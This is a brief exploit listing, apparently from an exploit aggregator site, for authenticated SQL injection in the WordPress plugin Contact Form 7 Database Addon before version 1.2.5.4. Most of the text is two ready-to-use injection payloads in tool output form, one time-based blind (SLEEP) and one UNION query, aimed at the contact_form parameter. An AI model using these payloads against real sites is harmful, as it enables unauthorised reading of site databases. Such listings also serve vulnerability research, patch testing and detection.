Exploit for Contact Form 7 Database Addon < 1.2.5.4 - Authenticated SQL Injections

Name: Exploit for Contact Form 7 Database Addon < 1.2.5.4 - Authenticated SQL Injections
Rating: 5 (71 reviews)

2021-01-21 | CVSS 1.8

## https://sploitus.com/exploit?id=WPEX-ID:75F2EEB2-C413-4601-BC62-554683480C30
---
Parameter: #1* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: s=&_wpnonce=16a6b55ed1&contact_form[]=1 AND (SELECT 4559 FROM (SELECT(SLEEP(5)))BVdc)&action2=-1

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: s=&_wpnonce=16a6b55ed1&contact_form[]=1 UNION ALL SELECT NULL,NULL,CONCAT(0x717a7a7171,0x545942474c4e416e6864774d4c756c6f684d7569456150706b756f7a465a487173704c476b465243,0x71716b7871),NULL-- -&action2=-1
---